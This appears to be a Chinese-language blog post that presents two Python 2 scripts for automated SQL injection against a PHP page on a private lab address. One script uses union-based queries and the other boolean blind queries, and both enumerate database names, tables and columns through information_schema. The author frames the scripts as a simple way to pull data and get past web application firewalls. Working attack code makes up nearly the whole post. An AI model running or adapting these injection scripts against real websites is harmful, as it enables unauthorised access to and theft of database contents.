0x01 前言
一直在思考如何编写一个自动化注入工具，这款工具不用太复杂，但是可以用最简单、最直接的方式来获取数据库信息，根据自定义构造的payload来绕过防护，这样子就可以。
0x02 SQL注入工具
A、联合查询
union select 实现起来最为简单，报错注入的实现方式也基本一致，主要思路：获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。
代码详情：
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import urllib import re values={} def get(url,values): data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) result=response.content find_list=re.findall(r"qwe~(.+?)~qwe", result) if len(find_list)>0: return find_list def get_database_name(url): values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" name_list=get(url,values) print 'The databases:' for i in name_list: print i+" ", print "\n" def table_name(url): database_name=raw_input('please input your database:') values['id'] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'" name_list=get(url,values) print 'The table is :' for i in name_list: print i+" ", print "\n" def column_name(url): table_name=raw_input('please input your table:') values['id'] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'" name_list=get(url,values) print 'The column is :' for i in name_list: print i+" ", if __name__ == '__main__': url='http://192.168.106.130/config/sql.php' get_database_name(url) table_name(url) column_name(url)
运行效果：
B、盲注
盲注的脚本，但总感觉代码不过简洁，越简单越好，可以把局部代码直接拿出来用，简单修改payload就可以获取数据，基于布尔盲注，GET，写的一个简单的注入脚本。
主要思路：获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import urllib import time start_time = time.time() def database_length(url): values={} for i in range(1,100): values['id'] = "1 and (select length(database()))=%s" %i data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: return i def database_name(url): payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' values={} databasename= '' aa = 15 aa = database_length(url) for i in range(1, aa+1): for payload in payloads: values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload)) data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: databasename += payload return databasename #print database_name('http://192.168.125.129/config/sql.php') def table_count(url,database): values={} for i in range(1,100): values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: return i def table_length(url,a,database): values={} for i in range(1,100): values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i) data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: return i def table_name(url,database): payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' values={} table_name=[] bb = table_count(url,database) for i in range(0,bb+1): user= '' cc=table_length(url,i,database) if cc==None: break for j in range(0,cc+1): for payload in payloads: values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload)) data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: user += payload #print payload table_name.append(user) return table_name #print table_name('http://192.168.125.129/config/sql.php','test') def column_count(url,table_name): values={} for i in range(1,100): values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: return i def column_length(num,url,table_name): values={} for i in range(1,100): limit = " limit %s,1)=%s" %(num,i) values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: return i def column_name(url,table_name): payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' values={} column_name=[] dd=column_count(url,table_name) for i in range(0,dd+1): user= '' bb=column_length(i,url,table_name) if bb==None: break for j in range(0,bb+1): for payload in payloads: limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload)) values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit data = urllib.urlencode(values) geturl = url+'?'+data response = requests.get(geturl) if response.content.find('qwertyasd')>0: user += payload column_name.append(user) return column_name #print column_name('http://192.168.125.129/config/sql.php','admin') if __name__ == '__main__': url='http://192.168.125.129/config/sql.php' databasename=database_name(url) print "The current database:"+databasename database=raw_input("Please input your databasename: ") tables=table_name(url,database) print database+" have the tables:", print tables for table in tables: print table+" have the columns:" print column_name(url,table) print 'Use for: %d second' % (time.time() - start_time)
运行效果：
0x03 END
通过编写简单的SQL注入脚本来获取数据，脚本实现得很简单，扩展空间还很大，只为以最简单的方式来Bypass WAF数据获取。
